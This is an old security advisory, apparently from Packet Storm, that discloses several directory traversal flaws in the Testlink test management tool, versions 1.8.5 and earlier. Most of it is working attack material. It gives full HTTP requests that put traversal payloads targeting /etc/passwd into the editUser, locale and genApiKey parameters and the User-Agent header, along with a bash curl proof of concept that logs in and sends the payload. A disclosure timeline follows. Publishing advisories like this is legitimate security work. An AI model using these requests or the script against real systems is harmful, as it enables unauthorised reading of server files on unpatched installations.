Testlink TestManagement And Execution System Directory Traversal

2010-01-16T00:00:00
ID PACKETSTORM:85202
Type packetstorm
Reporter Prashant Khandelwal
Modified 2010-01-16T00:00:00

Description

                                        
                                            `1.Title :Multiple Directory traversal Vulnerabilites in Testlink Test Management and Execution System.  
Discovered by: Prashant Khandelwal (clickprashant@gmail.com)  
  
2.Vulnerability Information  
  
Class: Directory Traversal  
Remotely Exploitable: Yes  
Locally Exploitable: No  
  
  
3.Vulnerable packages.  
  
Versions affected :All versions <= Testlink 1.8.5  
Download : http://downloads.sourceforge.net/project/testlink/TestLink%201.8/TestLink%201.8.5/testlink_1.8.5.tgz?use_mirror=nchc  
  
  
4.Vulnerability Description  
  
Multiple directory traversal vulnerabilities has been found in Testlink(http://www.teamst.org/) a popular and acclaimed free, open source Test management tool written in PHP.  
The issue discovered can only be exploited with an authenticated session.This directory traversal vulnerability is present in the file /testlink/lib/usermanagement/userInfo.php & In testlink 1.8.5 these issues can be exploited by setting the variable "editUser"& "locale" like below with a HTTP POST request  
  
Example HTTP header for 1.8.5  
  
-----------------------------------------------------------------------------------------------------------------------------------  
a)Directory Traversal :The POST variable editUser has been set to ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd  
------------------------------------------------------------------------------------------------------------------------------------  
Request  
  
POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0  
Accept: */*  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)  
Host: 10.209.84.1  
Content-Length: 182  
Cookie: PHPSESSID=8ea021778858f826c5aab8be8f38868c;TL_lastTestProjectForUserID_1=2381  
Connection: Close  
Pragma: no-cache  
  
id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email%40address%2Etst&locale=cs_CZ&editUser=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwdResponse  
  
  
-----------------------------------------------------------------------------------------------------------------------------------  
b)Directory Traversal :The POST variable locale has been set to ../../../../../../../../etc/passwd%00.html  
------------------------------------------------------------------------------------------------------------------------------------  
Request  
  
POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0  
Accept: */*  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)  
Host: 10.209.84.1  
Content-Length: 160  
Cookie: PHPSESSID=8ea021778858f826c5aab8be8f38868c;TL_lastTestProjectForUserID_1=2381  
Connection: Close  
Pragma: no-cache  
  
id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email%40address%2Etst&locale=../../../../../../../../etc/passwd%00.html&editUser=GuardarResponse  
  
  
In testlink 1.8.4 these issues can be exploited by setting the variable "genApiKey"& "locale" like below with a HTTP POST request.  
  
Example HTTP header for 1.8.4  
  
-----------------------------------------------------------------------------------------------------------  
a)Directory traverasa : The POST variable locale has been set to ../../../../../../../../etc/passwd%00.html.  
-----------------------------------------------------------------------------------------------------------  
Request  
  
POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0  
Accept: */*  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)  
Host: 10.209.84.1  
Content-Length: 153  
Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381  
Connection: Close  
Pragma: no-cache  
  
id=1&firstName=Testlink&lastName=Administrator&emailAddress=111-222-1933email@address.tst&locale=../../../../../../../../etc/passwd%00.html&editUser=SaveResponse  
  
  
-----------------------------------------------------------------------------------------------------------------------------------  
b)Directory Traversal : The POST variable genApiKey has been set to ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd  
------------------------------------------------------------------------------------------------------------------------------------  
Request  
  
POST /testlink/lib/usermanagement/userInfo.php HTTP/1.0  
Accept: */*  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)  
Host: 10.209.84.1  
Content-Length: 81  
Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381  
Connection: Close  
Pragma: no-cache  
  
id=1&genApiKey=../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd  
  
  
One of the issues in Testlink 1.8.4 can be exploited by directory traversing with the HTTP User-Agent header like below.  
  
-----------------------------------------------------------------------------------------------------------------------------------  
c)Directory Traversal :The HTTP header user-agent has been set to ../../../../../../../../etc/passwd .htm.  
------------------------------------------------------------------------------------------------------------------------------------  
  
Request  
  
GET /testlink/lib/usermanagement/userInfo.php HTTP/1.0  
Accept: */*  
User-Agent: ../../../../../../../../etc/passwd .htm  
Host: 10.209.84.1  
Cookie: PHPSESSID=ad966ffbe53232c258f231404cef4552;TL_lastTestProjectForUserID_1=2381  
Connection: Close  
Pragma: no-cacheResponse  
  
  
5.Proof of Concept  
  
================  
#!/usr/bin/env bash  
# Prashant Khandelwal [clickprashant@gmail.com]  
# Remote Directory Traversal in Testlink the Test Management Tool  
# Vendor : Testlink http://www.teamst.org  
# Affected Version : <=1.8.5 (http://downloads.sourceforge.net/project/testlink/TestLink%201.8/TestLink%201.8.5/testlink_1.8.5.tgz?use_mirror=nchc)  
# Vulnerability Discovered: 5-Jan-2010  
# This POC is for Educational purpose & has only been tested with testlink 1.8.5  
  
if [ $# -ne 4 ]  
then  
  
echo "Usage - ./$0 User password Testlink_root_dir_URI Directory_traversal_string"  
echo "Example - ./$0 admin admin http://Testlink-Server/testlink ../../../../../../../../etc/passwd%00.html"  
exit 1  
fi  
rm -rf cookies output.txt  
curl -d "tl_login=$1&tl_password=$2" $3/login.php -c cookies  
curl -d "id=1&firstName=Directorytraversal&lastName=Exploit&emailAddress=111-222-1933email%40address%2Etst&locale=$4&editUser=admin" $3/lib/usermanagement/userInfo.php -b cookies -v | more >output.txt  
head -n 80 output.txt  
  
================  
  
  
6. Report Timeline  
  
I) 5-Jan-2010  
Vulnerability dicovered  
  
II) 8-Jan-2010  
Notified about the vulnerability to the developer Francisco Mancardi & Martin Havlat from testlink team  
  
III)8-Jan-2010  
Developer Notifies that they will try to fix this.  
  
IV) 11-Jan-2010  
Francisco Mancardi ask for POC.  
  
V) 14-Jan-2010  
POC's given  
  
VI) 15-Jan-2010  
Francisco Mancardi notified that these vulnerabilities cannot be patched at the moment and has not commited any timeline for fixing the same.  
  
  
`